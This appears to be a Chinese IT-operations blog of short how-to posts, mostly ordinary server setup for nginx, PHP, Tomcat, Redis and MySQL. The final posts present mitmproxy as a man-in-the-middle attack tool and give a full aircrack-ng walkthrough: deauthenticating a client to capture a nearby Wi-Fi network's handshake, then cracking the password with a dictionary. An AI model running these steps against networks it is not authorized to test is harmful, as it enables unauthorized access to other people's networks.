分类
IT运维

centos8 安装nginx+php7

yum groupinstall “Development tools”

wget https://www.php.net/distributions/php-7.4.13.tar.gz

tar -xvzf php-7.4.13.tar.gz
cd php-7.4.13

yum -y install libxml2
yum -y install libxml2-devel
yum -y install openssl
yum -y install openssl-devel
yum -y install curl
yum -y install curl-devel
yum -y install libjpeg
yum -y install libjpeg-devel
yum -y install libpng
yum -y install libpng-devel
yum -y install freetype
yum -y install freetype-devel
yum -y install pcre
yum -y install pcre-devel
yum -y install libxslt
yum -y install libxslt-devel
yum install sqllit3
yum install oniguruma

./configure –prefix=/usr/local/php –with-curl –with-freetype-dir –with-gd –with-gettext –with-iconv-dir –with-kerberos –with-libdir=lib64 –with-libxml-dir –with-mysqli –with-openssl –with-pcre-regex –with-pdo-mysql –with-pdo-sqlite –with-pear –with-png-dir –with-jpeg-dir –with-xmlrpc –with-xsl –with-zlib –with-bz2 –with-mhash –enable-fpm –enable-bcmath –enable-libxml –enable-inline-optimization –enable-gd-native-ttf –enable-mbregex –enable-mbstring –enable-opcache –enable-pcntl –enable-shmop –enable-soap –enable-sockets –enable-sysvsem –enable-sysvshm –enable-xml –enable-zip

make
make install

cp php.ini-development /usr/local/php/php.ini
cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
cp sapi/fpm/php-fpm /usr/local/bin

分类
IT运维

nginx反向代理tomcat session丢失问题

nginx反向代理tomcat session丢失问题解决方法如下:
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://tomcat/Shop/;
#关键配置
proxy_cookie_path /Shop/ /;
}

分类
IT运维

nginx安装

1、下载所需文件到源码目录

cd /usr/local/src

2、下载nginx-1.12.2.tar.gz

wget http://nginx.org/download/nginx-1.12.2.tar.gz
tar -xzvf nginx-1.12.2.tar.gz

3、下载openssl-1.1.0g.tar.gz

wget http://www.geekapp.cn/download/openssl-1.1.0g.tar.gz
tar -xzvf openssl-1.1.0g.tar.gz

4、下载pcre-8.21.tar.gz

wget http://www.geekapp.cn/download/pcre-8.21.tar.gz
tar -xzvf pcre-8.21.tar.gz

5、下载zlib-1.2.8.tar.gz

wget http://www.geekapp.cn/download/zlib-1.2.8.tar.gz
tar -xzvf zlib-1.2.8.tar.gz

6、安装nginx

cd nginx-1.12.2
./configure --sbin-path=/usr/local/nginx/nginx \
--conf-path=/usr/local/nginx/nginx.conf \
--pid-path=/usr/local/nginx/nginx.pid \
--with-http_ssl_module \
--with-pcre=/usr/local/src/pcre-8.21 \
--with-zlib=/usr/local/src/zlib-1.2.8 \
--with-openssl=/usr/local/src/openssl-1.1.0g
make
make install
分类
IT运维

redis安装配置

1、Window 下安装
下载地址:https://github.com/MSOpenTech/redis/releases。

2、配置redis.windows.conf
bind 127.0.0.1
port 9011

3、启动
redis-server.exe redis.windows.conf

4、添加密码
可以通过以下命令查看是否设置了密码验证:
redis-cli.exe -h 127.0.0.1 -p 6379
CONFIG get requirepass
CONFIG set requirepass “123456”

分类
IT运维

TOMCAT启用GZIP压缩

修改server.xml


从上面节点的属性可以看出,要使用gzip压缩功能,你需要在Connector节点中加上如下属性

compression="on" 打开压缩功能 
compressionMinSize="1024" 启用压缩的输出内容大小,默认为2KB 
noCompressionUserAgents="gozilla, traviata" 对于以下的浏览器,不启用压缩 
compressableMimeType="text/html,text/xml,text/javascript,text/css,text/plain,application/javascript,application/json" 哪些资源类型需要压缩
分类
IT运维

centos查找未挂载磁盘格式化并挂载

查看当前linux服务器分区

df -h

查看当前linux服务器硬盘:

fdisk -l

/dev/vda 第一块硬盘
/dev/vdb 第二块硬盘
依此类推

以/dev/vdb为新增硬盘为例,需要进行以下操作方可正常使用

1、分区

fdisk /dev/vdb

依次输入
n,回车
p,回车
1,回车
回车
回车
wq

2、格式化

mkfs -t ext4 -c /dev/vdb1

3、挂载(挂载目录可自行定义)

mount /dev/vdb1 /data

4、设置开机自动挂载

vi /etc/fstab
/dev/vdb1        /data        ext4        defaults        0  0
分类
IT运维

centos7 防火墙常用配置

1、永久开放端口

firewall-cmd --add-port=9011/tcp --permanent

2、重新启动加载配置。添加规则之后,需要执行此命令

firewall-cmd --reload

3、查看已开放的接口

firewall-cmd --list-ports

4、启动和关闭防火墙

systemctl stop firewalld.service           #停止firewall
systemctl disable firewalld.service     #禁止firewall开机启动
systemctl restart iptables.service #重启防火墙使配置生效
systemctl enable iptables.service #设置防火墙开机启动
分类
IT运维

mysql修改数据保存目录

1、修改配置 vi /etc/my.cnf 添加如下2行:

datadir=/web/mysql
socket=/web/mysql/mysql.sock

2、修改 vi /etc/init.d/mysqld 如下:

#get_mysql_option mysqld datadir "/var/lib/mysql"
get_mysql_option mysqld datadir "/web/mysql"

3、添加软链接

ln -s /web/mysql/mysql.sock /var/lib/mysql/mysql.sock

4、copy原数据库保存目录的数据到新目录

5、重启mysqld

service mysqld restart
分类
IT运维

pjsip linux下编译

系统环境:centos 6.5 64位
pjsip版本:2.5
官方文档:https://trac.pjsip.org/repos/wiki/Getting-Started/Autoconf
步骤:
chmod -R 777 pjproject-2.5
cd pjproject-2.5
./configure –disable-libyuv –disable-sound –disable-ffmpeg
#此处禁用了音视频
make dep
make
make install

编译时禁用一些不用的功能,可以减少错误,如视频通话等功能不用可以禁止。
Optional Features:
–disable-floating-point Disable floating point where possible
–disable-sound Exclude sound (i.e. use null sound)
–disable-small-filter Exclude small filter in resampling
–disable-large-filter Exclude large filter in resampling
–disable-g711-plc Exclude G.711 Annex A PLC
–disable-speex-aec Exclude Speex Acoustic Echo Canceller/AEC
–disable-g711-codec Exclude G.711 codecs from the build
–disable-l16-codec Exclude Linear/L16 codec family from the build
–disable-gsm-codec Exclude GSM codec in the build
–disable-speex-codec Exclude Speex codecs in the build
–disable-ilbc-codec Exclude iLBC codec in the build
–disable-ssl Force excluding TLS support (default is autodetected based on OpenSSL availability)
–disable-sdl Disable SDL (default: not disabled)
–disable-ffmpeg Disable ffmpeg (default: not disabled)
–disable-v4l2 Disable Video4Linux2 (default: not disabled)
–disable-openh264 Disable OpenH264 (default: not disabled)
–disable-libyuv Exclude libyuv in the build

编译pjsua java python库:
参照文章:http://www.geekapp.cn/archives/475.html

分类
IT运维

videojs处理m3u8不能播放问题

videojs处理m3u8视频文件,提示已拦截跨源请求:同源策略禁止读取位于XXX的远程资源。(原因:CORS 头缺少 ‘Access-Control-Allow-Origin’)
服务端处理用的是nginx,解决方法:

location /hls {
add_header Access-Control-Allow-Origin *;#关键配置
types{
application/x-mpegURL m3u8;#关键配置
video/mp2t ts;#关键配置
}
alias temp/hls;
expires -1;
add_header Cache-Control no-cache;
}

分类
IT运维

apache apollo常用命令

1、安装命令
apollo create mybroker

2、启动命令
apollo-broker run

3、权限配置


4、本地数据库配置

5、tcp和ws协议配置





分类
IT运维

windows下mysql免安装版常用配置

1、卸载mysql服务
mysql remove

2、安装mysql服务
mysql install

3、初始化mysql,data目录需要为空,日志文件会生成随机的密码,看日志文件,data目录下的.err文件。
mysqld –initialize

4、启动mysql服务
net start msyql

5、修改mysql密码为123456,下面的命令会提示输入就密码,看日志文件,data目录下的.err文件
mysqladmin -u root -p password 123456

mysql.ini配置
[client]
port=13306
[mysql]
default-character-set=utf8
[mysqld]
port=13306
#路径保证正确,最好是全路径。
basedir=”E:\mysql\”
datadir=”E:\mysql\data\”
character-set-server=utf8
default-storage-engine=INNODB

分类
IT运维

配置nginx代理tomcat

配置nginx代理tomcat,配置如下:
upstream tomcat {
server 127.0.0.1:8080;
}

server {
listen 80;
server_name test.geekapp.cn;
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
#以上4句是可以使客户端真实ip,否则被代理服务获取的IP是127.0.0.1
proxy_pass http://tomcat;
}

}

分类
IT运维

mitmproxy中间人攻击利器

mitmproxy就是代理,有篡改功能的代理。它支持两种模式,正向代理,与透明代理,支持http通信与https通信。
1>mitmproxy安装
sudo apt-get install mitmproxy
2>mitmproxy使用
mitmproxy -p xxx(指定端口)
3>mitmproxy常见操作
(1)方向键定位请求
(2)当黄色箭头>>定位到指定请求时,按回车enter进入请求中
(3)按e进入编辑状态
(4)a 增加一行,tab键切换编辑字段,回车enter开始编辑,esc保存,q返回上一级
(5)修改完后,按r就可以重放请求

分类
IT运维

利用aircrack-ng工具获取附近wifi的密码

1>关闭网络
service network-manager stop

2>结束可能会影响结果的进程
airmon-ng check kill

3>查看网卡列表
iwconfig

4>启动网卡到监听模式(这里使用wlan0)
airmon-ng start wlan0

5>监听周围所有无线网络信息
airodump-ng mon0

6>监听感兴趣的无线网络
airodump-ng –bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0
在这条命令中–bssid后接我们上一部接下的BSSID值,即:C0:XX:XX:XX:XX:00。而-c后接的是我上一步在CH列下找到的值1。而-w后接的是我们保存网络数据的文件名,这里是用tmp。在命令的最后接的是之前得到的mon0
运行命令后会得到上图的结果,并确保上图的下半部分BSSID下有至少一行的数据

7>得到握手包
保持上一步中的窗口不关,新开一个窗口,执行如下命令:
aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0
在这条命令中参数-a后接的是上图中下半部分BSSID列下第一行的的值C0:XX:XX:XX:XX:00。参数-c后接的是上图中下半部分STATION列下第一行的的值14:XX:XX:XX:XX:B4。mon是之前步骤得到的值。

8>关闭监听接口
airmon-ng stop mon0

9>启动网络
service network-manager start

10>获取密码
此时在执行第3.2步骤中命令的目录下会有一个tmp-01.cap文件。有了这个文件我们就可以破解密码了,除了这个文件外,我们还需要一个字典文件。可以从这里下载,下载后解压出密码文件,假设其名字及路径为:/tmp/passwd.txt。执行下面的命令。如果密码字典中有这个wifi的密码,我们就可以破解出密码:
aircrack-ng tmp-01.cap -w /tmp/passwd.txt